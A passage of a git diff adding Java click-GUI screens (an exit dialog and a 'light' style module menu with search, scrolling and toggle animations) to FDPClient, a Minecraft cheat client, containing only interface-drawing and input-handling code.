l; + } + + public int getTabHeight() { + int height = 0; + for (Module module : modules) { + height += module.yPerModule; + } + return height; + } + + public boolean isHovered(int mouseX, int mouseY) { + return mouseX >= posX && mouseY >= posY && mouseX <= posX + 101 && mouseY <= posY + 15; + } + + public void mouseReleased(int mouseX, int mouseY, int state) { + if (opened) { + modules.forEach(module -> module.mouseReleased(mouseX, mouseY, state)); + } + } + + public void keyTyped(char typedChar, int keyCode) { + modules.forEach(module -> module.keyTyped(typedChar, keyCode)); + } + + public void mouseClicked(int mouseX, int mouseY, int mouseButton) throws IOException { + if (isHovered(mouseX, mouseY) && mouseButton == 1) { + opened = !opened; + if (opened) { + for (Module module : modules) { + module.fraction = 0; + } + } + } + + if (opened) { + modules.forEach(module -> { + try { + module.mouseClicked(mouseX, mouseY, mouseButton); + } catch (IOException e) { + e.printStackTrace(); + } + }); + } + } + + public void setPosX(float posX) { + this.posX = posX; + } + + public void setPosY(float posY) { + this.posY = posY; + } + + public float getPosY() { + return posY; + } + + public float getPosX() { + return posX; + } + + public List<Module> getModules() { + return modules; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/GuiExit.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/GuiExit.java new file mode 100644 index 0000000..8a7f05f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/GuiExit.java @@ -0,0 +1,42 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.light; + +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.gui.GuiScreen; +import org.lwjgl.input.Mouse; + +import java.awt.*; + +public class GuiExit extends GuiScreen { + boolean mouseClicked = false; + @Override + public void onGuiClosed() { + + } + + @Override + public void drawScreen(int mouseX, int mouseY, float partialTicks) { + if(mouseX >= width / 2 - 75 && mouseX <= width / 2 - 10 && mouseY >= height / 2 + 20 && mouseY <= height / 2 + 35) { + if(Mouse.isButtonDown(0) && !mouseClicked) + mc.displayGuiScreen(new LightClickGUI()); + } else mouseClicked = Mouse.isButtonDown(0) && !(mouseX >= width / 2 && mouseX <= width / 2 + 65 && mouseY >= height / 2 + 20 && mouseY <= height / 2 + 35); + if(mouseX >= width / 2 && mouseX <= width / 2 + 65 && mouseY >= height / 2 + 20 && mouseY <= height / 2 + 35) { + if(Mouse.isButtonDown(0) && !mouseClicked) + mc.displayGuiScreen(null); + } else mouseClicked = Mouse.isButtonDown(0) && !(mouseX >= width / 2 - 75 && mouseX <= width / 2 - 10 && mouseY >= height / 2 + 20 && mouseY <= height / 2 + 35); + //RenderUtils.drawImage(new ResourceLocation("fdpclient/clickgui/rect.png"), width / 2 - 80,height / 2 - 30,150,70); + int fontHeight = Math.round(Fonts.font40.FONT_HEIGHT / 2); + RenderUtils.drawRect(width / 2 - 80, height / 2 - 30, width / 2 + 70, height / 2 + 40,new Color(40,40,40,125).getRGB()); + RenderUtils.drawRect(width / 2 - 75, height / 2 + 20, width / 2 - 10, height / 2 + 35, new Color(19, 138, 225).getRGB()); + RenderUtils.drawRect(width / 2, height / 2 + 20, width / 2 + 65, height / 2 + 35, new Color(241, 54, 35).getRGB()); + Fonts.font40.drawString("Exit Gui", width / 2 - 25,height / 2 - 20, -1); + Fonts.font40.drawString("Back",width / 2 - 50, height / 2 + 28 - fontHeight, -1); + Fonts.font40.drawString("Exit",width / 2 + 25, height / 2 + 28 - fontHeight, -1); + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/LightClickGUI.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/LightClickGUI.java new file mode 100644 index 0000000..f158de0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/light/LightClickGUI.java @@ -0,0 +1,686 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ + +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.light; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.Module; +import net.ccbluex.liquidbounce.features.module.ModuleCategory; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.light.LightSettings.InputBox; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.light.ModuleSettings.Settings; +import net.ccbluex.liquidbounce.ui.client.hud.designer.GuiHudDesigner; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.AnimationHelper; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.*; +import net.minecraft.client.gui.FontRenderer; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.gui.GuiYesNoCallback; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.ResourceLocation; +import org.lwjgl.input.Keyboard; +import org.lwjgl.input.Mouse; + +import java.awt.*; +import java.io.IOException; + +public class LightClickGUI extends GuiScreen implements GuiYesNoCallback { + + // light style by dg636 & opzywl + + private ModuleCategory currentCategory = ModuleCategory.COMBAT; + private Module currentModule = FDPClient.moduleManager.getModuleInCategory(currentCategory).get(0); + private float startX = 50, startY = 25; + private int moduleStart = 0; + private int valueStart = 0; + private boolean previousMouse = true; + private boolean mouse; + private float moveX = 0, moveY = 0; + private float oldX = 0, oldY = 0; + private final FontRenderer defaultFont = Fonts.font35; + private final FontRenderer logoFont = Fonts.font40; + + private final int fontHeight = Math.round(defaultFont.FONT_HEIGHT / 2); + private boolean rightClickMouse = false; + private boolean categoryMouse = false; + private int animationHeight = 0; + private int categoryAnimation = 0; + private int moduleAnimation = 0; + private boolean moduleHover = false; + private float guiScale = 0; + private final AnimationHelper alphaAnim = new AnimationHelper(); + private final AnimationHelper valueAnim = new AnimationHelper(); + private int categoryYpos = 35; + private InputBox searchBox; + private boolean firstSetAnimation; + public LightClickGUI() { + firstSetAnimation = false; + alphaAnim.resetAlpha(); + valueAnim.resetAlpha(); + } + + @Override + public void initGui() { + firstSetAnimation = false; + alphaAnim.resetAlpha(); + valueAnim.resetAlpha(); + this.searchBox = new InputBox(1, (int)startX, (int)startY + 20, 45, 8); + } + + @Override + protected void mouseClicked(int p_mouseClicked_1_, int p_mouseClicked_2_, int p_mouseClicked_3_) throws IOException { + super.mouseClicked(p_mouseClicked_1_,p_mouseClicked_2_,p_mouseClicked_3_); + searchBox.mouseClicked(p_mouseClicked_1_,p_mouseClicked_2_,p_mouseClicked_3_); + } + + @Override + public void updateScreen() { + searchBox.updateCursorCounter(); + } + + @Override + public void keyTyped(char typedChar, int keyCode) { + if (keyCode == 1) { + this.mc.displayGuiScreen(null); + } + if(typedChar == 9 && this.searchBox.isFocused()) { + this.searchBox.setFocused(!this.searchBox.isFocused()); + } + + this.searchBox.textboxKeyTyped(typedChar, keyCode); +// } else { +// if(!hovered) +// return; +// String keyName = Keyboard.getKeyName(keyCode); +// if(!keyName.equalsIgnoreCase("LMENU") && !keyName.equalsIgnoreCase("SPACE") && !keyName.equalsIgnoreCase("BACKSLASH") && !keyName.equalsIgnoreCase("LCONTROL") && !keyName.equalsIgnoreCase("CAPITAL") && !keyName.equalsIgnoreCase("APPS") && !keyName.equalsIgnoreCase("LMETA") && !keyName.equalsIgnoreCase("APOSTROPHE") && !keyName.equalsIgnoreCase("PERIOD") && !keyName.equalsIgnoreCase("COMMA") && !keyName.equalsIgnoreCase("SEMICOLON") && !keyName.equalsIgnoreCase("RSHIFT") && !keyName.equalsIgnoreCase("BACKSLAS") && !keyName.equalsIgnoreCase("MINUS") && !keyName.equalsIgnoreCase("GRAVE") && !keyName.equalsIgnoreCase("MINUS") && !keyName.equalsIgnoreCase("EQUALS") && !keyName.equalsIgnoreCase("F12") && !keyName.equalsIgnoreCase("F11") && !keyName.equalsIgnoreCase("F10") && !keyName.equalsIgnoreCase("F9") && !keyName.equalsIgnoreCase("F8") && !keyName.equalsIgnoreCase("7") && !keyName.equalsIgnoreCase("F6") && !keyName.equalsIgnoreCase("F5") && !keyName.equalsIgnoreCase("F4") && !keyName.equalsIgnoreCase("F3") && !keyName.equalsIgnoreCase("F2") && !keyName.equalsIgnoreCase("NUMLOCK") && !keyName.equalsIgnoreCase("F1") && !keyName.equalsIgnoreCase("RETURN") && !keyName.equalsIgnoreCase("SCROLL") && !keyName.equalsIgnoreCase("PRIOR") && !keyName.equalsIgnoreCase("NEXT") && !keyName.equalsIgnoreCase("LSHIFT") && !keyName.equalsIgnoreCase("SHIFT") && !keyName.equalsIgnoreCase("RCONTROL") && !keyName.equalsIgnoreCase("HOME") && !keyName.equalsIgnoreCase("TAB") && !keyName.equalsIgnoreCase("BACK") && !keyName.equalsIgnoreCase("none") && !keyName.equalsIgnoreCase("Alt") && !keyName.equalsIgnoreCase("Insert") && !keyName.equalsIgnoreCase("DELETE") && !keyName.equalsIgnoreCase("END") && !keyName.equalsIgnoreCase("Pause") && !keyName.equalsIgnoreCase("SYSRQ")) { +// text += Keyboard.getKeyName(keyCode); +// } +// if(Keyboard.isKeyDown(Keyboard.KEY_V) && isCtrlKeyDown()) { +// text += getClipboardString(); +// } +// if(Keyboard.isKeyDown(Keyboard.KEY_C) && isCtrlKeyDown()) { +// setText(text); +// } +// if(Keyboard.isKeyDown(Keyboard.KEY_BACK)) { +// if(!searchBox.getText().isEmpty()) { +// text = searchBox.getText().substring(0, searchBox.getText().length() - 1); +// } +// } +// } + } + @Override + public void drawScreen(int mouseX, int mouseY, float partialTicks) { + // yes hud designer here + RenderUtils.drawImage(new ResourceLocation( "fdpclient/ui/clickgui/hud.png"), 9, height - 41, 32, 32); + + // set up bool animations? + if(!firstSetAnimation) { + for (Module i : FDPClient.moduleManager.getModules()) { + i.getAnimation().animationX = i.getState() ? 5 : -5; + for(Value<?> j : i.getValues()) { + if(j instanceof BoolValue) { + BoolValue boolValue = (BoolValue) j; + boolValue.getAnimation().animationX = boolValue.get() ? 5 : -5; + } + } + } + firstSetAnimation = true; + } + + // serach box + searchBox.xPosition = (int) startX; + searchBox.yPosition = (int) (startY + 15); + this.searchBox.setMaxStringLength(20); + + // animate alpha + if(alphaAnim.getAlpha() == 250) + alphaAnim.alpha = 255; + else + alphaAnim.updateAlpha(25); + //整个界面的alpha + if(valueAnim.getAlpha() == 240) + alphaAnim.alpha = 255; + else + valueAnim.updateAlpha(30); + //value界面的alpha + + // animate scale + if(guiScale < 100) + guiScale += 10;//启动动画 + GlStateManager.scale(guiScale / 100, guiScale / 100, guiScale / 100); + + // make that variable gurl + Settings settings = new Settings(valueAnim);//value的settings + + // huddesigner icon sense clik + if (Mouse.isButtonDown(0) && mouseX >= 5 && mouseX <= 50 && mouseY <= height - 5 && mouseY >= height - 50) + mc.displayGuiScreen(new GuiHudDesigner()); //进入自定义HUD界面 + + // click = move target hud + if ((isHovered(startX - 5, startY, startX + 400, startY + 25, mouseX, mouseY) || isHovered(startX - 5, startY, startX + 400, startY + 25, (int) oldX, (int) oldY)) && Mouse.isButtonDown(0)) {//移动窗口 + if (moveX == 0 && moveY == 0) { + moveX = mouseX - startX; + moveY = mouseY - startY; + } else { + startX = mouseX - moveX; + startY = mouseY - moveY; + } + this.previousMouse = true; + } else if (moveX != 0 || moveY != 0) { + moveX = 0; + moveY = 0; + } + oldX = mouseX; + oldY = mouseY; + + // fdp water mark + Fonts.font35.drawString("Made by SkidderMC", startX + 210, startY + 295, new Color(200,200,200).getRGB()); + + // new sexy background + RenderUtils.drawRoundedRect2((int) startX - 5, (int) startY + 10, (int) startX + 400, (int) startY + 310, 3, + new Color(230, 230, 230, 255).getRGB()); + RenderUtils.drawRoundedRect2((int) startX - 5, (int) startY, (int) startX + 400, (int) startY + 25, 10, + new Color(250, 250, 250, 255).getRGB()); + + + //drawBorderedRect(startX + 130, startY + 7, startX + 190, startY + 15, 0.5F, -1, new Color(100,100,100).getRGB()); + + // search box time + defaultFont.drawString(searchBox.getText().isEmpty() && !searchBox.isFocused() ? "Search..." : searchBox.getText(), (int) (startX + 3), (int) (startY + 15), new Color(80, 80, 80).getRGB()); + + // no module???? holder text + if(currentModule == null) { + logoFont.drawStringWithShadow("No Modules Selected", startX + 80, startY + 130, new Color(100,100,100).getRGB()); + } +// if(isHovered(startX + 130, startY + 7, startX + 190, startY + 15, mouseX, mouseY) && Mouse.isButtonDown(0)) +// hovered = true; +// else if(!isHovered(startX + 130, startY + 7, startX + 190, startY + 15, mouseX, mouseY) && Mouse.isButtonDown(0)) +// hovered = false; + // FontManager.logo24.drawCenteredStringWithShadow("L", startX + 5, startY + 8, new Color(49, 86, 255).getRGB(),255); + //FontManager.logo24.drawCenteredStringWithShadow("ight", startX + 5 + FontManager.logo24.getStringWidth("L") + 8, startY + 8, new Color(255,255,255).getRGB(),255); // 客户端名字 + + + + // mouse scroll now est variable + int m = Mouse.getDWheel();//鼠标滚轮. + + // smth + if(searchBox.getText().isEmpty()) { + if (this.isCategoryHovered(startX + 60, startY + 40, startX + 200, startY + 280, mouseX, mouseY)) { + if (m < 0 && moduleStart < FDPClient.moduleManager.getModuleInCategory(currentCategory).size() - 8) { + moduleStart++; + } + if (m > 0 && moduleStart > 0) { + moduleStart--; + } + } + } + if (this.isCategoryHovered(startX + 200, startY, startX + 400, startY + 280, mouseX, mouseY)) { + if (m < 0 && valueStart < currentModule.getValues().size() - 11) { + valueStart++; + } + if (m > 0 && valueStart > 0) { + valueStart--; + } + } + + // draw current categorys category's name + logoFont.drawString(currentCategory.getDisplayName(), (int) (startX + 60), (int) (startY + 10), + new Color(100, 100, 100,alphaAnim.getAlpha()).getRGB()); + RenderUtils.circle(startX + 390, startY + 8, 1.5F, new Color(31, 158, 255).getRGB()); + if (isCheckBoxHovered(startX + 388, startY + 6, startX + 391, startY + 9, mouseX, mouseY) + && Mouse.isButtonDown(0)) { + mc.displayGuiScreen(new GuiExit()); + } + + moduleHover = false; + + + if(!searchBox.getText().isEmpty()) { + if (this.isCategoryHovered(startX + 60, startY + 40, startX + 200, startY + 280, mouseX, mouseY)) { + if (m < 0 && moduleStart < FDPClient.moduleManager.getModuleInCategory(currentCategory).size() - 8) { + moduleStart++; + } + if (m > 0 && moduleStart > 0) { + moduleStart--; + } + } + if (this.isCategoryHovered(startX + 200, startY + 40, startX + 400, startY + 280, mouseX, mouseY)) { + if (m < 0 && valueStart < currentModule.getValues().size() - 11) { + valueStart++; + } + if (m > 0 && valueStart > 0) { + valueStart--; + } + } + + // draw categories search box + float mY = startY + 30; + + for(int i = 0; i < FDPClient.moduleManager.getModulesByName(searchBox.getText()).size(); i++) { + Module module = FDPClient.moduleManager.getModulesByName(searchBox.getText()).get(i); + if (mY > startY + 280) + break; + if (i < moduleStart) { + continue; + } + int moduleColor = new Color(118, 117, 117,alphaAnim.getAlpha()).getRGB(); + + + if (!Mouse.isButtonDown(0)) { + this.previousMouse = false; + } + + int colorV = 245 - (int) (module.getAnimation().animationX); + RenderUtils.drawRoundedRect2(startX + 63, mY + 1, startX + 187, mY + 25, 6, new Color(210, 210, 210, alphaAnim.getAlpha()).getRGB()); + RenderUtils.drawRoundedRect2(startX + 64, mY + 2, startX + 186, mY + 24, 5, new Color(230, 230, 230, alphaAnim.getAlpha()).getRGB()); + RenderUtils.drawRoundedRect2(startX + 65, mY + 3, startX + 185, mY + 23, 4, new Color(colorV, colorV, colorV, alphaAnim.getAlpha()).getRGB()); + + if (isSettingsButtonHovered(startX + 64, mY + 2, startX + 186, mY + 24, mouseX, mouseY) && categoryAnimation < 15) { + defaultFont.drawString(module.getName(), (int) (startX + 70) + Math.round(moduleAnimation / 2), (int) (mY + 6 + 5 - fontHeight), moduleColor); + defaultFont.drawString("KeyBind: " + (!Keyboard.getKeyName(module.getKeyBind()).equalsIgnoreCase("NONE") ? Keyboard.getKeyName(module.getKeyBind()) : "None"), (int) (startX + 70) + Math.round(moduleAnimation / 2), (int) (mY + 13 + 5 - fontHeight), new Color(80, 80, 80, alphaAnim.getAlpha()).getRGB() - 14 + moduleAnimation * 2); + + moduleAnimation += 1; + if (moduleAnimation > 6) { + moduleAnimation = 6; + } + moduleHover = true; + + if (Mouse.isButtonDown(1) && !rightClickMouse && currentModule != module) { + currentModule = module; + valueAnim.resetAlpha(); + valueStart = 0; + rightClickMouse = true; + } + if (!this.previousMouse && Mouse.isButtonDown(0)) { + module.setState(!module.getState()); + previousMouse = true; + } + if (!this.previousMouse && Mouse.isButtonDown(1)) { + previousMouse = true; + } + } else { + defaultFont.drawString(module.getName(), (int) (startX + 70), (int) (mY + 6 + 5 - fontHeight), moduleColor); + defaultFont.drawString("KeyBind: " + (!Keyboard.getKeyName(module.getKeyBind()).equalsIgnoreCase("NONE") ? Keyboard.getKeyName(module.getKeyBind()) : "None"), (int) (startX + 70), (int) (mY + 13 + 5 - fontHeight), new Color(80, 80, 80, alphaAnim.getAlpha()).getRGB()); + } + if (rightClickMouse && !Mouse.isButtonDown(1)) + rightClickMouse = false; + + RenderUtils.drawRoundedRect2(startX + 160, mY + 6, startX + 180, mY + 16, 4, module.getState() && module.getAnimation().getAnimationX() >= 3F ? new Color(29, 143, 237,alphaAnim.getAlpha()).getRGB() : new Color(114, 118, 125,alphaAnim.getAlpha()).getRGB()); + RenderUtils.circle(startX + 170 + module.getAnimation().getAnimationX(), mY + 11, 4, module.getState() ? new Color(255,255,255,alphaAnim.getAlpha()).getRGB() : new Color(164, 168, 175,alphaAnim.getAlpha()).getRGB()); + if (module.getState()) { + module.getAnimation().animationX += (5F - module.getAnimation().animationX) / 2.5; + } else { + module.getAnimation().animationX += (-5F - module.getAnimation().animationX) / 2.5; + } + + mY += 28; + } + } + if (currentModule != null) { + logoFont.drawString(currentModule.getName(), (int) (startX + 205), (int) (startY + 10), + new Color(100, 100, 100,valueAnim.getAlpha()).getRGB()); + float mY = startY + 30; + if(searchBox.getText().isEmpty()) { + for (int i = 0; i < FDPClient.moduleManager.getModuleInCategory(currentCategory).size(); i++) { + Module module = FDPClient.moduleManager.getModuleInCategory(currentCategory).get(i); + if (mY > startY + 280) + break; + if (i < moduleStart) + continue; + + int moduleColor = new Color(118, 117, 117,alphaAnim.getAlpha()).getRGB(); + + + if (!Mouse.isButtonDown(0)) { + this.previousMouse = false; + } + + int colorV = 245 - (int) (module.getAnimation().animationX); + RenderUtils.drawRoundedRect2(startX + 63, mY + 1, startX + 187, mY + 25, 6, new Color(210, 210, 210, alphaAnim.getAlpha()).getRGB()); + RenderUtils.drawRoundedRect2(startX + 64, mY + 2, startX + 186, mY + 24, 5, new Color(230, 230, 230, alphaAnim.getAlpha()).getRGB()); + RenderUtils.drawRoundedRect2(startX + 65, mY + 3, startX + 185, mY + 23, 4, new Color(colorV, colorV, colorV, alphaAnim.getAlpha()).getRGB()); + + if (isSettingsButtonHovered(startX + 64, mY + 2, startX + 186, mY + 24, mouseX, mouseY) && categoryAnimation < 15) { + defaultFont.drawString(module.getName(), (int) (startX + 70) + Math.round(moduleAnimation / 2), (int) (mY + 6 + 5 - fontHeight), moduleColor); + defaultFont.drawString("KeyBind: " + (!Keyboard.getKeyName(module.getKeyBind()).equalsIgnoreCase("NONE") ? Keyboard.getKeyName(module.getKeyBind()) : "None"), (int) (startX + 70) + Math.round(moduleAnimation / 2), (int) (mY + 13 + 5 - fontHeight), new Color(80, 80, 80, alphaAnim.getAlpha()).getRGB() - 14 + moduleAnimation * 2); + + moduleAnimation += 1; + if (moduleAnimation > 6) { + moduleAnimation = 6; + } + moduleHover = true; + + if (Mouse.isButtonDown(1) && !rightClickMouse && currentModule != module) { + currentModule = module; + valueAnim.resetAlpha(); + valueStart = 0; + rightClickMouse = true; + } + if (!this.previousMouse && Mouse.isButtonDown(0)) { + module.setState(!module.getState()); + previousMouse = true; + } + if (!this.previousMouse && Mouse.isButtonDown(1)) { + previousMouse = true; + } + } else { + defaultFont.drawString(module.getName(), (int) (startX + 70), (int) (mY + 6 + 5 - fontHeight), moduleColor); + defaultFont.drawString("KeyBind: " + (!Keyboard.getKeyName(module.getKeyBind()).equalsIgnoreCase("NONE") ? Keyboard.getKeyName(module.getKeyBind()) : "None"), (int) (startX + 70), (int) (mY + 13 + 5 - fontHeight), new Color(80, 80, 80, alphaAnim.getAlpha()).getRGB()); + } + if (rightClickMouse && !Mouse.isButtonDown(1)) + rightClickMouse = false; + + RenderUtils.drawRoundedRect2(startX + 160, mY + 6, startX + 180, mY + 16, 4, module.getState() && module.getAnimation().getAnimationX() >= 3F ? new Color(29, 143, 237,alphaAnim.getAlpha()).getRGB() : new Color(114, 118, 125,alphaAnim.getAlpha()).getRGB()); + RenderUtils.circle(startX + 170 + module.getAnimation().getAnimationX(), mY + 11, 4, module.getState() ? new Color(255,255,255,alphaAnim.getAlpha()).getRGB() : new Color(164, 168, 175,alphaAnim.getAlpha()).getRGB()); + if (module.getState()) { + module.getAnimation().animationX += (5F - module.getAnimation().animationX) / 2.5; + } else { + module.getAnimation().animationX += (-5F - module.getAnimation().animationX) / 2.5; + + } + + mY += 28; + } + } + mY = startY + 30; + if (currentModule.getValues().isEmpty()) + logoFont.drawString("Current Module Has No Settings", (int) (startX + 220), (int) (startY + 135 - fontHeight), + new Color(100, 100, 100,valueAnim.getAlpha()).getRGB()); + for (int i = 0; i < currentModule.getValues().size(); i++) { + if (mY > startY + 280) + break; + if (i < valueStart) { + continue; + } + Value<?> value = currentModule.getValues().get(i); + if (value instanceof FloatValue) { + FloatValue floatValue = (FloatValue) value; + float x = startX + 300; + settings.drawFloatValue(mouseX, mY, startX, previousMouse,this.isButtonHovered(x, mY - 2, x + 100, mY + 7, mouseX, mouseY), floatValue); + if (!Mouse.isButtonDown(0)) { + this.previousMouse = false; + } + mY += 20; + } + if (value instanceof IntegerValue) { + IntegerValue integerValue = (IntegerValue) value; + float x = startX + 300; + settings.drawIntegerValue(mouseX, mY, startX, previousMouse, this.isButtonHovered(x, mY - 2, x + 100, mY + 7, mouseX, mouseY), integerValue); + if (!Mouse.isButtonDown(0)) { + this.previousMouse = false; + } + mY += 20; + } + if(value instanceof Value.ColorValue) { + Value.ColorValue colorValue = (Value.ColorValue) value; + settings.drawColorValue(startX,mY,startX + 300, mouseX,mouseY, colorValue); + if (!Mouse.isButtonDown(0)) { + this.previousMouse = false; + } + mY += 20; + } + if (value instanceof BoolValue) { + BoolValue boolValue = (BoolValue) value; + float x = startX + 325; + settings.drawBoolValue(mouse,mouseX,mouseY,startX,mY,boolValue); + if (this.isCheckBoxHovered(x + 30, mY - 2, x + 50, mY + 8, mouseX, mouseY)) { + if (!this.previousMouse && Mouse.isButtonDown(0)) { + this.previousMouse = true; + this.mouse = true; + } + if (this.mouse) { + boolValue.set(!boolValue.get()); + this.mouse = false; + } + } + mY += 20; + } + if(value instanceof TextValue) { + TextValue textValue = (TextValue) value; + settings.drawTextValue(startX, mY, textValue); + mY += 20; + } + if (value instanceof ListValue) { + float x = startX + 295; + ListValue listValue = (ListValue) value; + settings.drawListValue(previousMouse,mouseX,mouseY,mY,startX,listValue); + this.previousMouse = Mouse.isButtonDown(0); + mY += 25; + } + } + } + + if (!moduleHover) { + moduleAnimation = 0; + } + + // set y pos to category + if (currentCategory == ModuleCategory.COMBAT) + categoryYpos = 35; + if (currentCategory == ModuleCategory.MOVEMENT) + categoryYpos = 70; + if (currentCategory == ModuleCategory.WORLD) + categoryYpos = 105; + if (currentCategory == ModuleCategory.PLAYER) + categoryYpos = 140; + if (currentCategory == ModuleCategory.EXPLOIT) + categoryYpos = 175; + if (currentCategory == ModuleCategory.OTHER) + categoryYpos = 210; + if (currentCategory == ModuleCategory.CLIENT) + categoryYpos = 245; + if (currentCategory == ModuleCategory.VISUAL) + categoryYpos = 280; + + // detect mouse clicking on categories + // and set animation if hovered over + if(categoryMouse && !Mouse.isButtonDown(0)) + categoryMouse = false; + if (isCategoryHovered(startX - 5, startY + 25, startX + 35 + categoryAnimation, startY + 13 + 45, mouseX, mouseY)) { + categoryYpos = 35; + if (Mouse.isButtonDown(0) && !categoryMouse) { + if (currentCategory != ModuleCategory.COMBAT) { + currentCategory = ModuleCategory.COMBAT; + categoryMouse = true; + if(searchBox.getText().isEmpty()) { + moduleStart = 0; + currentModule = FDPClient.moduleManager.getModuleInCategory(currentCategory).get(0); + alphaAnim.resetAlpha(); + valueAnim.resetAlpha(); + } + } + } + } + if (isCategoryHovered(startX - 5, startY + 3 + 55, startX + 35 + categoryAnimation, startY + 13 + 80, mouseX, mouseY)) { + categoryYpos = 70; + if (Mouse.isButtonDown(0) && !categoryMouse) { + if (currentCategory != ModuleCategory.MOVEMENT) { + currentCategory = ModuleCategory.MOVEMENT; + categoryMouse = true; + if(searchBox.getText().isEmpty()) { + moduleStart = 0; + currentModule = FDPClient.moduleManager.getModuleInCategory(currentCategory).get(0); + alphaAnim.resetAlpha(); + valueAnim.resetAlpha(); + } + } + } + } + if (isCategoryHovered(startX - 5, startY + 3 + 90, startX + 35 + categoryAnimation, startY + 13 + 115, mouseX, mouseY)) { + categoryYpos = 105; + if (Mouse.isButtonDown(0) && !categoryMouse) { + if (currentCategory != ModuleCategory.WORLD) { + currentCategory = ModuleCategory.WORLD; + categoryMouse = true; + if(searchBox.getText().isEmpty()) { + moduleStart = 0; + currentModule = FDPClient.moduleManager.getModuleInCategory(currentCategory).get(0); + alphaAnim.resetAlpha(); + valueAnim.resetAlpha(); + } + } + } + } + if (isCategoryHovered(startX - 5, startY + 3 + 125, startX + 35 + categoryAnimation, startY + 13 + 150, mouseX, mouseY)) { + categoryYpos = 140; + if (Mouse.isButtonDown(0) && !categoryMouse) { + if (currentCategory != ModuleCategory.PLAYER) { + currentCategory = ModuleCategory.PLAYER; + categoryMouse = true; + if(searchBox.getText().isEmpty()) { + moduleStart = 0; + currentModule = FDPClient.moduleManager.getModuleInCategory(currentCategory).get(0); + alphaAnim.resetAlpha(); + valueAnim.resetAlpha(); + } + } + } + } + if (isCategoryHovered(startX - 5, startY + 3 + 160, startX + 35 + categoryAnimation, startY + 13 + 185, mouseX, mouseY)) { + categoryYpos = 175; + if (Mouse.isButtonDown(0) && !categoryMouse) { + if (currentCategory != ModuleCategory.EXPLOIT) { + currentCategory = ModuleCategory.EXPLOIT; + categoryMouse = true; + if(searchBox.getText().isEmpty()) { + moduleStart = 0; + currentModule = FDPClient.moduleManager.getModuleInCategory(currentCategory).get(0); + alphaAnim.resetAlpha(); + valueAnim.resetAlpha(); + } + } + } + } + if (isCategoryHovered(startX - 5, startY + 3 + 195, startX + 35 + categoryAnimation, startY + 13 + 220, mouseX, mouseY)) { + categoryYpos = 210; + if (Mouse.isButtonDown(0) && !categoryMouse) { + if (currentCategory != ModuleCategory.OTHER) { + currentCategory = ModuleCategory.OTHER; + categoryMouse = true; + if(searchBox.getText().isEmpty()) { + moduleStart = 0; + currentModule = FDPClient.moduleManager.getModuleInCategory(currentCategory).get(0); + alphaAnim.resetAlpha(); + valueAnim.resetAlpha(); + } + } + } + } + if (isCategoryHovered(startX - 5, startY + 3 + 230, startX + 35 + categoryAnimation, startY + 13 + 255, mouseX, mouseY)) { + categoryYpos = 245; + if (Mouse.isButtonDown(0) && !categoryMouse) { + if (currentCategory != ModuleCategory.CLIENT) { + currentCategory = ModuleCategory.CLIENT; + categoryMouse = true; + if(searchBox.getText().isEmpty()) { + moduleStart = 0; + currentModule = FDPClient.moduleManager.getModuleInCategory(currentCategory).get(0); + alphaAnim.resetAlpha(); + valueAnim.resetAlpha(); + } + } + } + } + if (isCategoryHovered(startX - 5, startY + 3 + 265, startX + 35 + categoryAnimation, startY + 13 + 290, mouseX, mouseY)) { + categoryYpos = 280; + if (Mouse.isButtonDown(0) && !categoryMouse) { + if (currentCategory != ModuleCategory.VISUAL) { + currentCategory = ModuleCategory.VISUAL; + categoryMouse = true; + if(searchBox.getText().isEmpty()) { + moduleStart = 0; + currentModule = FDPClient.moduleManager.getModuleInCategory(currentCategory).get(0); + alphaAnim.resetAlpha(); + valueAnim.resetAlpha(); + } + } + } + } + + + if (isCategoryHovered(startX - 5, startY + 25, startX + categoryAnimation + 53, startY + 310, mouseX, mouseY)) { + categoryAnimation += Math.round((50 - categoryAnimation) / 3.5); + } else { + categoryAnimation += Math.round((0 - categoryAnimation) / 3.5); + } + + // gradient shadwo things + RenderUtils.drawGradientSideways(startX + categoryAnimation + 48, startY + 25, startX + categoryAnimation + 55, startY + 310, + new Color(0, 0, 0, 190).getRGB(), new Color(0, 0, 0, 0).getRGB());//255,255,255,30 + + RenderUtils.drawGradientSideways(startX + 200, startY + 25, startX + 205, startY + 310, + new Color(0, 0, 0, 70).getRGB(), new Color(0,0,0,0).getRGB());//239,237,237,30 + + // grayish bg of categories + RenderUtils.drawRoundedRect2((int) startX - 5, (int) startY + 25, (int) startX + 50 + categoryAnimation, (int) startY + 310, 1, + new Color(255, 255, 255, 250).getRGB()); + + // blue box that highlights categories;ll;l + RenderUtils.drawRoundedRect2((int) startX + 6, (int) startY + animationHeight - 5, (int) startX + 38 + categoryAnimation, (int) startY + animationHeight + 17, 5, + new Color(29, 143, 237, 250).getRGB()); + + + if (categoryAnimation > 4) { + Fonts.font40.drawString("Combat", startX + 30 + Math.round(categoryAnimation / 5), startY + 35 + 6 - fontHeight, new Color(30, 30, 30, Math.round(categoryAnimation * 5)).getRGB()); + Fonts.font40.drawString("Move", startX + 30 + Math.round(categoryAnimation / 5), 